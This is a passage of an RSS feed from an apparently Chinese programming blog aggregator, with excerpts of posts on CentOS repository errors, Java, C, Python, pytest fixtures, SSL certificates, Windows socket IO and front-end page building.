      <title>服务器报错 Error: Failed to synchronize cache for repo ‘AppStream‘</title>
      <link>https://bchobby.github.io/posts/5c4c2b3a9512e9f9a8052856c9298030/</link>
      <pubDate>Tue, 12 Apr 2022 15:18:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c4c2b3a9512e9f9a8052856c9298030/</guid>
      <description>博主最近在学习部署服务器，并且把自己的项目传到服务器上与前端联调&#xA;在部署阿里云环境时 (CentOS 8)，用yum 命令安装命令时报错：&#xA;Error: Failed to synchronize cache for repo ‘AppStream’&#xA;问题：应该是源的问题，博主自己去网上搜索之后找到了解决办法，亲测有效，已经为其他小伙伴解决了一样的问题，但是我们使用的都是阿里云的服务器&#xA;第一步：进入要修改的文件目录下&#xA;cd /etc/yum.repos.d 第二步：修改两个文件&#xA;vim CentOS-Base.repo 按照下图修改&#xA;vim CentOS-AppStream.repo 按照下图修改</description>
    </item>
    <item>
      <title>原因:无法将 ‘＜＞‘ 与非泛型类LinkedList一起使用</title>
      <link>https://bchobby.github.io/posts/25d28a8a7e2542ea642a50453da8f42e/</link>
      <pubDate>Tue, 12 Apr 2022 15:13:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25d28a8a7e2542ea642a50453da8f42e/</guid>
      <description>在执行以下代码是遇到如下错误 1.问题 执行代码&#xA;import java.util.List; import java.util.LinkedList; public class LinkedList { public static void main(String[] args) { List&amp;lt;String&amp;gt; list = new LinkedList&amp;lt;&amp;gt;(); //添加元素 list.add(&#34;a&#34;); list.add(&#34;b&#34;); list.add(&#34;c&#34;); list.add(&#34;a&#34;); //获取元素 for(int i=0;i&amp;lt;list.size();i++){ System.out.println(list.get(i)); } System.out.println(&#34;-------------------&#34;); for(String str :list){ System.out.println(str); } } } &amp;lt;&amp;gt; 这里爆红&#xA;2.原因:我声明的LinkedList和要使用的容器类 LinkedList&amp;lt;&amp;gt;() 引起歧义; 3.解决方案: 方法1:导入包(不能解决我的问题) 搜索发现有的说到导入包&#xA;import java.util.LinkedList; 发现我这里是已经导入了的(不能解决我的问题)&#xA;方法2:改类名LinkedList 为LinkedListTest 我刚刚代码中的类名是LinkedList和要用的容器类重名产生了歧义。这也是java中常常会出现的一个错误我将类名改为LinkedListTest问题解决&#xA;该类名之前：&#xA;public class LinkedList { } 该类名之后：&#xA;public class LinkedListTest { } 正常执行</description>
    </item>
    <item>
      <title>百度地图搜索功能的实现--new BMap.LocalSearch</title>
      <link>https://bchobby.github.io/posts/b14ca11cebd252d85fb4ebe086811100/</link>
      <pubDate>Tue, 12 Apr 2022 14:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b14ca11cebd252d85fb4ebe086811100/</guid>
      <description>let local = new BMap.LocalSearch(map, { renderOptions: { map: map, }, onSearchComplete: (res) =&amp;gt; { if (local.getResults() != undefined &amp;amp;&amp;amp; local.getResults().Cr.length!= 0) { map.clearOverlays(); //清除标注 this.addMapMark(); //添加已存在的其他标注--（根据自己情况保留删除） } else if (local.getResults().Cr.length == 0) { this.$alert(&#34;请您精确搜索内容&#34;, { confirmButtonText: &#34;确定&#34;, }); } else { this.$alert(&#34;未找到搜索结果&#34;, { confirmButtonText: &#34;确定&#34;, }); } }, }); local.search(this.where); 实现效果：</description>
    </item>
    <item>
      <title>C语言中static作用</title>
      <link>https://bchobby.github.io/posts/4211addbd5ea9b1b811d869321ecb2dc/</link>
      <pubDate>Tue, 12 Apr 2022 13:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4211addbd5ea9b1b811d869321ecb2dc/</guid>
      <description>1,static修饰局部变量&#xA;在局部变量之前加上关键字static，局部变量就被定义成为一个局部静态变量。&#xA;特点如下:&#xA;1）存储区：由于栈变为静态存储区rw data，生存期为整个源程序，只能在定义该变量的函数内使用。退出该函数后， 尽管该变量还继续存在，但不能使用它；当static修饰局部变量时，可以达到改变局部变量生命周期的目的&#xA;啰嗦下(用Static关键字声明后，是变量成为静态的局部变量，即编译时就为变量分配存储单元，直到程序结束时才释放。这样，使得该局部变量有记忆功能，可以记忆上次的数据，不过由于仍是局部变量，因而只能在代码块内部使用（作用域不变）&#xA;2）作用域：作用域仍为局部作用域，当定义它的函数或者语句块结束的时候，作用域随之结束。&#xA;参照代码:&#xA;代码1: //=================================== void test() { int a=1;//函数调用完之后会被销毁，所以每次打印的都是2； a++; printf(&#34;%d\n&#34;,a); } int main() { int i = 0; while (i &amp;lt; 10) { test(); i++; } return 0; } 代码2: //=================================== void test() { static int a=1; //static改变局部变量的生命周期；变量没有被销毁时,不需要被再次定义； a++; printf(&#34;%d\n&#34;,a); } int main() { int i = 0; while (i &amp;lt; 10) { test(); i++; } return 0; } 代码1运行结果为：&#xA;2 2 2 2 2 2 2 2 2 2 （10个2），函数调用完之后a会被销毁</description>
    </item>
    <item>
      <title>11种免费获取SSL证书的方式</title>
      <link>https://bchobby.github.io/posts/3d0cd7752d799791aaa480ba1b3ac3ad/</link>
      <pubDate>Tue, 12 Apr 2022 10:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d0cd7752d799791aaa480ba1b3ac3ad/</guid>
      <description>从2018年7月1日开始，Chrome将显示所有未使用SSL证书的网站标记为“不安全”，而拥有SSL证书的网站的权重排名都会获得提升。&#xA;随着企业与网民网络安全意识的增加，全网正在走向全面https的时代，加密将无处不在，无论是网站、APP、软件、小程序等都在大规模应用SSL进行加密。&#xA;今天介绍这些在线申请的免费 SSL 证书的网址，希望对大家有所帮助，减少你的成本开支。&#xA;一、阿里云SSL证书服务&#xA;通过阿里云SSL证书服务可以获得由Symantec（赛门铁克）提供的免费型DV SSL，为期一年。一个阿云帐户最多签发20张免费证书。支持一键将数字证书部署在阿里云已经开通的云产品中(SLB、Web应用防火墙、DDoS高防IP、CDN)，以最小成本在云上应用，统一管理，方便使用。&#xA;阿里云免费SSL证书的领取需要点小技巧，这里详细给大家介绍下：&#xA;首先打开这个网址：证书服务_SSL数字证书_HTTPS加密_服务器证书_CA认证-阿里云在搜索框输入“ssl”，点“搜索”按钮 出来搜索结果后，点“立即购买” 点“选购证书”，就会出来免费版SSL的选项了 点“DV单域名证书【免费试用】”，然后购买即可 二、百度云SSL证书服务&#xA;百度云与全球知名的第三方数字证书认证和服务机构联合推出的SSL证书申请与管理一站式服务。无需繁杂流程，一键申请，轻松实现网站与Web应用的HTTPS加密部署。SSL证书为国内证书服务商TrustAsia（亚洲诚信）联合Symantec为百度云用户专供的证书产品，市场价值1900元。DV证书属于域名验证型证书，支持线上5分钟内快速签发，免费版仅支持单域名，免费期限为1年。&#xA;网址链接：https://cloud.baidu.com/product/ssl.html&#xA;三、腾讯云SSL证书服务&#xA;腾讯云SSL证书（SSL Certificates）提供了安全套接层（SSL）证书的一站式服务，包括证书申请、管理及部署功能，与顶级的数字证书授权（CA）机构和代理商合作，为您的网站、移动应用提供 HTTPS 解决方案。通过腾讯云可以获得由Symantec（赛门铁克）提供的免费型DV SSL，为期一年。&#xA;网址链接：https://buy.cloud.tencent.com/ssl&#xA;四、华为云SSL证书管理SCM&#xA;华为云.SSL证书管理（SSL Certificate Manager）是华为联合全球知名数字证书服务机构，为您提供一站式证书的全生命周期管理，实现网站的可信身份认证与安全数据传输。通过华为云可以获得由Symantec（赛门铁克）提供的免费型DV SSL，为期一年。&#xA;网址链接：https://www.huaweicloud.com/product/scm.html&#xA;五、站长安全认证证书服务&#xA;站长工具证书服务是和全球知名的CA证书服务中心或代理商共同为用户提供的SSL证书服务产品，用户可以通过站长工具，选择需要的CA中心和其证书产品，为用户提供全站Https安全解决方案。由Symantec（赛门铁克）提供的基础级 DV SSL 证书，提供域名型免费版（DV）为期一年。&#xA;网址链接：http://aq.chinaz.com/SSL&#xA;六、CloudflareSSL证书服务&#xA;Cloudflare为小型个人网站、博客提供免费的SSL证书服务，只支持扩展支持Server Name Indication(SNI)协议的现代浏览器，这意味着它不支持IE6及之前版本、运行Android 2.2或更旧版本的Android浏览器。&#xA;网址链接：https://www.cloudflare.com/ssl&#xA;七、滴滴云SSL证书服务&#xA;滴滴云与全球顶级的CA机构合作，为用户提供安全有保障的SSL证书，使用户轻松实现网站与Web应用的HTTPS加密部署，使网站等Web应用可信，防劫持、防篡改、防监听。由Symantec（赛门铁克）提供的基础级 DV SSL 证书，提供域名型免费版（DV）为期一年。&#xA;网址链接：https://www.didiyun.com/production/cert.html&#xA;八、青云SSL证书服务&#xA;青云.SSL证书服务，灵活的DNS和HTTP验证方式 VeriSign G5根证书，完美兼容所有浏览器 主域名可同时支持www和非www 免费重新颁发完善的技术支持服务，由Symantec（赛门铁克）提供的基础级 DV SSL 证书，提供域名型免费版（DV）为期一年。&#xA;网址链接：https://www.qingcloud.com/pricing#/SSLCertificate&#xA;九、AlwaysonSSL&#xA;AlwaysonSSL是一个新的免费和自动认证机构。它由 CertCenter 和 Digicert 运行，免费提供 12 个月的 DV SSL 证书，不过目前还不支持签发 ECC 证书。申请起来非常简单，适合中小站长。</description>
    </item>
    <item>
      <title>【静态网页制作大作业——个人博客搭建（HTML&#43;CSS&#43;Javascript）】</title>
      <link>https://bchobby.github.io/posts/54d4897dc4baa26b82ee6db40ed0c0b4/</link>
      <pubDate>Tue, 12 Apr 2022 10:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54d4897dc4baa26b82ee6db40ed0c0b4/</guid>
      <description>文章目录 作品介绍一、作品展示二、代码实现预览地址总结 作品介绍 网页作品简介： 寒假期间学习HTML和CSS即部分Javascript后的第一个大作业，搭建一个个人静态博客，后面出于兴趣，将其部署到GitPage上并利用GitHub添加了留言功能。&#xA;一、作品展示 二、代码实现 代码如下（示例）：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;Li Shu&#39;s site&amp;lt;/title&amp;gt; &amp;lt;link href=&#34;img/title.ico&#34; rel=&#34;shortcut icon&#34;/&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; html{ position: relative; } .top{ background-color: #FFFFFF; height: 60px; width: 1900px; position: absolute; top: 0; left: 0; } .top h1{ padding-left: 150px; font-family: &#34;华文新魏&#34;; } .top-left{ width: 250px; height: 50px; } .top-left span{ position: absolute; top: 15px; left: 250px; font-family: &#34;华文新魏&#34;; font-size: 28px; color: pink; float: left; display: none; } .</description>
    </item>
    <item>
      <title>信息系统项目管理（三）软件工程相关知识</title>
      <link>https://bchobby.github.io/posts/534756e297f53df8bf554b4af6c1797b/</link>
      <pubDate>Tue, 12 Apr 2022 07:43:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/534756e297f53df8bf554b4af6c1797b/</guid>
      <description>软件工程是指应用计算机科学、数学及管理科学等原理，以工程化的原则和方法来解决软件问题的工程，其目的是提高软件生成率、提高软件质量、降低软件成本。&#xA;一、需求分析 软件需求是指用户对新系统在功能、行为、性能、设计约束等方面的期望。&#xA;1.1 软件需求层次 软件的需求主要分为三个层次，从低到高依次是系统需求、用户需求和业务需求&#xA;1.1.1 系统需求 系统需求主要是从系统角度来说明软件需求，包括功能需求、非功能需求和设计约束&#xA;功能需求：规定开发人员必须在系统中实现的软件功能，满足业务需要非功能需求：系统必须具备的除功能需求外的特性，其中包括软件质量属性 性能需求：响应时间、吞吐量、资源利用率等安全性、可靠性、可维护性与易用性等等 设计约束：系统的限制条件或补充说明，如系统必须采用国产数据库系统 1.1.2 用户需求 用户需求指用户要求系统必须能完成的任务或功能&#xA;1.1.3 业务需求 业务需求是客户对相同高层次的目标要求，通过业务需求可以确定项目范围和视图，来自于项目投资人&#xA;1.2 需求分析与定义 1.2.1 质量功能部署 质量功能部署(Quality Function Deployment, QFD)是将用户要求转化成软件需求的技术，目的是最大限度的提升用户的满意度。QFD将软件需求分成三类，分别是常规需求、期望需求和意外需求&#xA;常规需求：用户认为系统应该做到的功能或性能，实现越多用户越满意期望需求：用户不能正确描述想要得到的功能需求，想当然认为系统应具备的功能或性能意外需求：用户要求范围外的功能或性能，实现这些需求用户会更高兴，但不实现也不影响其购买的决策 二、对象和类 2.1 面向对象的基本概念 对象：由数据及其操作所构成的封装体，是构成系统的基本单位类：类和对象的关系为，对象是类的实例，类是对象的模板抽象：通过特定的实例抽取共同特征以后形成概念的过程。比如对象是现实中某个实体的抽象，类是一组对象的抽象封装：将相关概念组成一个单元模块，并通过一个名称来引用它。只能通过对象对外提供的接口进行调用继承：表示类之间层次关系，这种关系使得某类对象可以继承另外一类对象的特征多态：使得在多个类可以定义同一个操作或属性名，并在每个类中可以有不同的实现接口：描述对操作规范的说明消息：体现对象间的交互，通过它向目标对象发送操作请求组件：表示软件系统中可替换的、物理的组成部分复用：指将已有的软件及其有效成分用于构造新的软件或系统。组件技术是软件复用实现的关键模式：描述了一个不断重复发生的问题，以及该问题的解决方案。包括特定环境、问题和解决方案三个组成部分。 2.2 类之间的关系 类与类之间有不同的关系，主要有这六类：&#xA;关联(Association)：关联提供了不同类对象之间的结构关系，关联系统的是对象实例之间的关系，不表示两个类之间的关系依赖(Dependency)：两个类A和B，如果B的变化可能引起A的变化，则称类A依赖于类B泛化(Generalization)：泛化描述一般事物与该事物中的特殊种类之间的关系，也就是父类与子类之间的关系。而继承关系是泛化关系的反面，可以这样说，子类继承了父类，父类是子类的泛化。聚合(Aggregation)：表示类之间的整体与部分的关系，部分可能同时属于多个&#34;整体&#34;，&#34;部分&#34;与&#34;整体&#34;的生命周期可以不相同组合(Composition)：表示类之间的整体与部分的关系，但不可分实现(Realization)：一个类或多个类可以实现一个接口，而每个类分别实现接口中的操作 三、统一建模语言UML UML(Unified Modeling Language) 是一种定义良好、易于表达、功能强大而且普遍使用的建模语言，它融入软件工程领域的新思想、新方法和新技术，作用域不限于支持面向对象分析（Object-Oriented Analysis，OOA）和面向对象设计（Object-Oriented Design，OOD）,支持从需求分析开始的软件开发全过程。&#xA;UML 独立于软件开发过程，它不是程序设计语言，是一种可视化的建模语言。&#xA;3.1 UML中的关系 UML 用关系把事物结合在一起，主要有以下四种关系（也就是类与类之间的6种关系）：&#xA;依赖（dependency）：两个事物之间的语义关系，其中一个事物发生变化会影响另一个事物的语义&#xA;关联（association）：描述一组对象之间连接的结构关系&#xA;聚合(Aggregation)：两个对象是整体与部分，可以分割组合(Composition)：两个对象是整体与部分，但是无法分割 泛化（generalization）：一般化和特殊化的关系，描述特殊元素的对象可替换一般元素的对象&#xA;实现（Realization）：一个类或多个类实现一个接口，其中的每个类分别实现接口的操作&#xA;3.2 UML视图 UML 由视图(View)、图(Diagram)、模型元素(Model Element)和通用机制(General Mechanism)等几个部分组成：&#xA;视图：是表达系统的某一方面的特征的UML建模元素的子集，由多个图组成，是在某个抽象层上对系统的抽象表示图：是模型元素集的图形表示，通常是由弧(关系)和顶点(其他模型元素)相互连接构成的模型元素：代表面向对象中的类、对象、消息和关系等概念，是构成图的最基本的常用概念通用机制：用于表示其他信息，比如注释、模型元素的语义等。 而视图则是从不同视角为系统构架建模，形成系统的不同视图，主要有这样五类视图：&#xA;用例视图（Use Case View）：强调从用户角度看到的或需要的系统功能，是被称为参与者的外部用户所能观察到的系统功能的模型图逻辑视图（Logical View）：展现系统的静态或结构组成及特征，也叫做结构模型视图或静态视图并发视图（Concurrent View）：体现系统的动态或行为特征，也叫做模型视图或动态视图组件视图（Component View）：体现系统实现的结构和行为特征，也叫做实现模型视图部署视图（Deployment View）：体现系统实现环境的结构和行为特征，也叫做物理视图或环境模型视图 视图主要有图类组成，下面来看看具体的UML图</description>
    </item>
    <item>
      <title>windows TCP/IP 网络编程（五）5种windows网络模型(4) 重叠IO模型(a)事件通知</title>
      <link>https://bchobby.github.io/posts/28ddc6b11cb3cb87eb5b19afde7311f8/</link>
      <pubDate>Mon, 11 Apr 2022 23:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28ddc6b11cb3cb87eb5b19afde7311f8/</guid>
      <description>本文思维导图&#xA;1 重叠IO介绍 重叠IO两种反馈方式： ①事件通知 ②完成例程&#xA;2 重叠IO逻辑 和 性能 3 事件通知实现逻辑 4 创建socket 5 重叠IO 5.1 投递异步接收链接请求 5.2 WSARecv 5.3 WSASend overlapped_event_server.c&#xA;#define _CRT_SECURE_NO_WARNINGS #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;Winsock2.h&amp;gt; #include &amp;lt;mswsock.h&amp;gt; #include &amp;lt;string.h&amp;gt; #pragma comment(lib, &#34;Ws2_32.lib&#34;) #pragma comment(lib, &#34;Mswsock.lib&#34;) #define MAX_COUNT 1024 #define MAX_RECV_COUNT 1024 SOCKET all_socket[MAX_COUNT]; OVERLAPPED all_olp[MAX_COUNT]; int count = 0; char recv_buf[MAX_RECV_COUNT];//接收缓冲区 void Clear() { for (int i = 0; i &amp;lt; count; i++) { closesocket(all_socket[i]); WSACloseEvent(all_olp[i].</description>
    </item>
    <item>
      <title>百度网盘提速小技巧</title>
      <link>https://bchobby.github.io/posts/3db661de6f1267ca55b9c75c43a6181b/</link>
      <pubDate>Mon, 11 Apr 2022 23:12:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3db661de6f1267ca55b9c75c43a6181b/</guid>
      <description>今天浏览文章时，发现了一个提升百度网盘传输速度的小技巧，下载速度瞬间从几百k/s飙升到数M/s，具体设置过程如下：&#xA;下载时选择“设置”—“传输”—“下载提速”——“开启”。&#xA;开了这个后，可以利用闲置宽带帮你加速。&#xA;让人惊喜的速度，大家可以试试。</description>
    </item>
    <item>
      <title>关于论文那些事</title>
      <link>https://bchobby.github.io/posts/a199a12940669e93d85c0d43e18ba08e/</link>
      <pubDate>Mon, 11 Apr 2022 23:01:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a199a12940669e93d85c0d43e18ba08e/</guid>
      <description> 文章目录 1.论文查找技巧2. 论文引用3. 论文查重4. 文献数据提取 毕业季要到了，是否有小伙伴为了论文撰写而感到发愁呢，希望本文能有所帮助。 1.论文查找技巧 谈到查找论文，首先想到的是知网、sci、万方数据、百度学术等等。在论文引用和下载时上述方法都存在一定的弊端：&#xA;知网和万方在查找中文文献时具备一定优势，但外文文献的查阅属实不敢恭维；sci主要用于查找英文文献，但并不方便引用；百度学术搜索范围广，但下载困难，引用也存在问题。 这几天偶然发现了一个窍门，小坐分享:&#xA;4. 根据标题采用百度学术查找DOI&#xA;5. 打开https://dx.doi.org/，输入DOI,就可以查询全文了，引用也很方便。换句话说，只要有了DOI,就可以利用这个网站进行查询。&#xA;2. 论文引用 很多时候我们在引用论文时，需要调整文章顺序，此时，就需要重新编辑论文编号，很麻烦。目前，&#xA;支持论文引用的软件有很多，如：NoteExpress，Endnote以及知网研学（可以直接查看文档并备注，另外两种软件需要跳转编辑）等；我用的是NoteExpress整理文档，可直接生成相应的题录，很方便。如果小伙伴有更好的方法，可以和我沟通交流哈，助力我成长。&#xA;3. 论文查重 我用的是paperyy，每天一次免费查重，然后中午11：11到11：22至尊版限时免费，但貌似只限五次。之后，就需要换一个帐号了。&#xA;4. 文献数据提取 在科技论文写作过程中，需要将自己的数据和前人成果进行对比。为了从别人的论文中得到原始数据，往往需要从曲线图中自主提取数据，这里介绍一下两种好用的图片数据提取工具：&#xA;GetData Graph DigitizerWebPlotDigitizer </description>
    </item>
    <item>
      <title>关于python import的sys.path路径问题</title>
      <link>https://bchobby.github.io/posts/3ace3f9ba89b391687d4e7ce25129954/</link>
      <pubDate>Mon, 11 Apr 2022 21:59:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ace3f9ba89b391687d4e7ce25129954/</guid>
      <description>关于python import的sys.path路径问题 sys.path 先说一下 sys.path 这个变量，该变量需要导入 sys 官方库方可使用，它是一个列表，是当前 python 文件 import 库时会逐个搜索列表中的路径。&#xA;初始化 sys.path 从这些位置初始化：&#xA;包含输入脚本的目录（或当前目录，当没有指定文件时）PYTHONPATH（目录名列表，与 shell 变量 PATH 语法相同）与安装相关的默认值（比如当前conda环境的路径） 添加 为了解决上述问题，需要添加模块搜索路径，可以使用以下几种方式：&#xA;动态增加路径&#xA;临时生效，对于不经常使用的模块，这通常是最好的方式，因为不必用所有次要模块的路径来污染 PYTHONPATH。&#xA;import sys sys.path.append(&#39;/home/song/mylib&#39;) 修改 PYTHONPATH 变量&#xA;永久生效，对于在许多程序中都使用的模块，可以采用这种方式。这将改变所有 Python 应用的搜索路径，因为启动 Python 时，它会读取这个变量，甚至不同版本的 Python 都会受影响。&#xA;export PYTHONPATH=$PYTHONPATH:/home/song/mylib 直接命令行执行则当前终端生效，或添加到 ~/.bashrc 中并 source 永久生效。&#xA;增加 .pth 文件&#xA;永久生效，这是最简单的、也是推荐的方式。Python 在遍历已知的库文件目录过程中，如果遇到 .pth 文件，便会将其中的路径加入到 sys.path 中，于是 .pth 中所指定的路径就可以被 Python 运行环境找到了。&#xA;在 /usr/local/lib/python3.5/site-packages 下添加一个扩展名为 .pth 的配置文件（例如：extras.pth），内容为要添加的路径：/home/song/mylib 。&#xA;例子 考虑这样一个目录结构，他基本涵盖我们 python 文件 import 自定义库时的情况：</description>
    </item>
    <item>
      <title>记录一下KEIL编译器的优化等级及说明</title>
      <link>https://bchobby.github.io/posts/4e220abd97721871b1c8828cfd4e2665/</link>
      <pubDate>Mon, 11 Apr 2022 18:03:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e220abd97721871b1c8828cfd4e2665/</guid>
      <description>1,先看一下官方文档(此资料为翻译后的)&#xA;Optimization level -O0&#xA;Optimization level -O1&#xA;Optimization level -O2&#xA;Optimization level -O3&#xA;以上可以看出 官方推荐的优化等级是01 可以大幅度提高代码运行的效率,压缩代码大小&#xA;而优化等级2和3 则会得到更高效的运行效率, 但也要求我们写的代码更加严谨才可以,不然压缩优化后的代码如果写得不严谨, 是很容易出现问题的.</description>
    </item>
    <item>
      <title>python笔记-字符串与字节数组类(bytes)之间的转换关系</title>
      <link>https://bchobby.github.io/posts/956203927e577a2f9a8668ab6b21508e/</link>
      <pubDate>Mon, 11 Apr 2022 14:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/956203927e577a2f9a8668ab6b21508e/</guid>
      <description> @toc&#xA;背景 将密钥与数据等信息通过字符串进行传输时,需要使用到字符串与字节数组类bytes间的转换&#xA;转换案例 字符串转字符编码bytes str = &#34;hello&#34; #转ascii编码bytes b = str.encode(&#34;ascii&#34;) #转utf-8编码bytes c = str.encode(&#34;utf-8&#34;) 十六进制的字符串转(字面上的内容值)bytes #例子 str = &#34;ffa7c2&#34; #str转换成bytes得到b b = b&#39;\xff\xa7\xc2&#39; import binascii str = &#34;ffa7c2&#34; b = binascii.a2b_hex(str) 十六进制的bytes数据转字符串显示 #例子 b = b&#39;\x01\x02\x03&#39; str = &#34;010203&#34; import struct import binascii b = struct.pack(&#34;B&#34;, 1) b += struct.pack(&#34;B&#34;, 2) b += struct.pack(&#34;B&#34;, 3) # 经过一轮组装后 b = b&#39;\x01\x02\x03&#39; str = binascii.b2a_hex(b).decode(&#34;utf-8&#34;) 注意点 len(...)函数操作str不包含&#39;\0&#39;字符的长度 </description>
    </item>
    <item>
      <title>【pytest-fixture】六、fixture通过yield或addfinalizer完成拆卸/清理</title>
      <link>https://bchobby.github.io/posts/cde388d1eca22a83f6afbed28b0b2224/</link>
      <pubDate>Mon, 11 Apr 2022 10:44:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde388d1eca22a83f6afbed28b0b2224/</guid>
      <description>我基本上是跟着官网去学习fixture，自己先看并学了一遍，为了方便后续查看和记忆，所以将学习笔记记录下来，如果有不对的地方，欢迎大家评论区指出。&#xA;目录 1.yield方式完成清理（推荐）1.1介绍1.2代码示例1.3运行结果1.4结果分析1.5举例说明多个yield的fixture执行顺序1.6对于yield出错后的执行方式说明 2.使用addfinalizer方法完成清理2.1介绍2.2实例代码2.3运行结果2.4结果分析 3.两种方式适用的场景 当我们运行我们的测试时，我们会希望确保它们自己清理干净，这样它们就不会与任何其他测试混淆（同时我们也不会留下大量的测试数据来使系统膨胀）。pytest 中的 Fixtures 提供了一个非常有用的拆卸系统，它允许我们定义每个 Fixture 自行清理所需的特定步骤。分别是通过yield或addfinalizer完成清理，下面分别对这两种方式进行展开说明。&#xA;1.yield方式完成清理（推荐） 1.1介绍 使用yield的fixture和普通的fixture基本差不多，但还是有以下两点：&#xA;return改换成yield。需要做清理的代码写在yield的下面。 使用yield后，fixture的执行顺序是这样的，如有两个fixture函数，fixture1和fixture2，先由pytest计算出fixture的线性顺序，它将运行每个fxiture直到它返回，然后移动到列表中的下一个夹具做同样的事情。等待测试完成后，pytest将返回到fxiture列表，但顺序相反，如果开始先执行了fixture1再执行了fixture2，那么后面就是先执行fixture2在执行fixture1.&#xA;1.2代码示例 文件名：test_demo.py&#xA;import pytest @pytest.fixture def get_token(): print(&#34;请求获取token&#34;) yield # 这里写你的清理代码 print(&#34;注销token&#34;) def test_demo(): print(&#34;测试用例&#34;) 1.3运行结果 1.4结果分析 通过结果展示，我们可以清楚的看到我们的清理代码在测试用例运行过后运行了。这种方式比我们用setup和teardown要好很多，可以抽取公共代码，减少代码冗余。&#xA;1.5举例说明多个yield的fixture执行顺序 示例代码&#xA;文件名: test_demo.py import pytest @pytest.fixture def fn1(): print(&#34;我是fn1，我在yield前面&#34;) yield 1 print(&#34;我是fn1，我在yield后面&#34;) @pytest.fixture def fn2(fn1): print(&#34;我是fn2，我在yield前面&#34;) yield 2 print(&#34;我是fn2，我在yield后面&#34;) def test_demo(fn2): print(&#34;我是测试用例&#34;) 运行结果&#xA;结果分析 通过上述例子，我们可以很明显知道yield的fixture的执行顺序&#xA;pytest先计算出线性顺序，先执行了fn1，然后再执行了fn2，再执行test，清理时就先执行的fn2，然后再执行fn1，与开始的顺序相反。&#xA;1.6对于yield出错后的执行方式说明 还是通过代码和运行的方式进行说明&#xA;实例代码&#xA;文件名: test_demo.py import pytest @pytest.fixture def fn1(): print(&#34;</description>
    </item>
    <item>
      <title>便携心电信号传输设备PCB</title>
      <link>https://bchobby.github.io/posts/57b6a2d6c5f020e238e8e97ce2a095f8/</link>
      <pubDate>Mon, 11 Apr 2022 08:58:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57b6a2d6c5f020e238e8e97ce2a095f8/</guid>
      <description>一、系统结构 二、绘制过程（此PCB项目基于AD20绘制） V1版本： V2版本 V3版本 V4版本 总结 在饶文贵老师的指导下，在V1-V4版的不断修改改进中，我学到了：&#xA;画板前首先要先布局好，要注意器件的摆放是否合理，是否好走线，经量避免交叉线。如晶振此类时钟信号线，不论频率高低与否都要进行差分布线处理，要使走线等长，差分走完线后可进行包地处理，避免其他信号线的噪声干扰，确保时钟信号的鲁棒性强。走线要避免与焊盘距离过近，否则漏焊后会有影响。设置过孔时，要注意两个过孔之间应具有合适的距离，原因同上。过孔处的两条信号线应尽量呈钝角，避免呈锐角，会有噪声产生，影响信号传输。要设置驻孔。走线之间距离不能太近。 饶老师说过：“电流就像水流一样。”所以在画板时应将电流想象成水流，来考虑怎样的布线会对电路有怎样的影响。&#xA;饶老师告诉我， 美观的板子才是好板子，对比4个版本，确实可以发现，板子逐步变得简洁，美观，大方。&#xA;感谢饶老师给予的指导，每次进办公室都学到了很多东西（nico）&#xA;（版本还在更新，板子仍需完善）</description>
    </item>
    <item>
      <title>Mac环境安装Win虚拟机</title>
      <link>https://bchobby.github.io/posts/9fee18d53ac47f010c0628a79b340c89/</link>
      <pubDate>Mon, 11 Apr 2022 01:05:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fee18d53ac47f010c0628a79b340c89/</guid>
      <description>背景： 工作环境是MacOS, 绝大多数场景都满足开发要求。&#xA;在有些特殊的场景下，比如第三方工具限制、Android手机刷机等，需要Win环境支持。&#xA;1.下载WMFusion 2.安装虚拟机 2.1下载Win系统 可以从这里找到合适的Win镜像：Win系统下载&#xA;我是用的Win镜像是这个版本&#xA;2.2安装镜像 步骤1:将镜像文件拖拽至箭头处 步骤2:点击继续 步骤3:输入密码、密钥、选择Win版本 步骤4:选择集成方式（我选择了更加独立） 两种方式均可，视个人情况而定&#xA;更加无缝：Win系统可以直接访问到Mac中的文件；&#xA;更加独立：Win系统无法直接访问Mac中的文件，需要将Mac中文件复制/拖拽到Win中。&#xA;步骤5:点击完成，开始自动安装系统。 3.安装完成 Win10正常展示&#xA;连上Android设备，提示是接到Mac还是Win</description>
    </item>
    <item>
      <title>【每天学一点-02】 使用Html5&#43;Less实现简单的静态管理员登录界面</title>
      <link>https://bchobby.github.io/posts/f145c2302588f9d6ec8734f9986851ac/</link>
      <pubDate>Sun, 10 Apr 2022 22:49:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f145c2302588f9d6ec8734f9986851ac/</guid>
      <description>1、首先引用Less&#xA;有npm安装、cdn引用、或者下载Less.js本地引用，我采用的是第三种方法&#xA;less.js引用：&#xA;下载地址：less.js/dist at master · less/less.js · GitHub&#xA;&amp;lt;script src=&#34;./js/less.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; cdn引用：&#xA;&amp;lt;script src=&#34;//cdnjs.cloudflare.com/ajax/libs/less.js/2.5.3/less.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; login.less引用（该文件代码贴下面啦）：&#xA;&amp;lt;link rel=&#34;stylesheet/less&#34; type=&#34;text/css&#34; href=&#34;css/login.less&#34;&amp;gt; 2、Html布局-index.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; 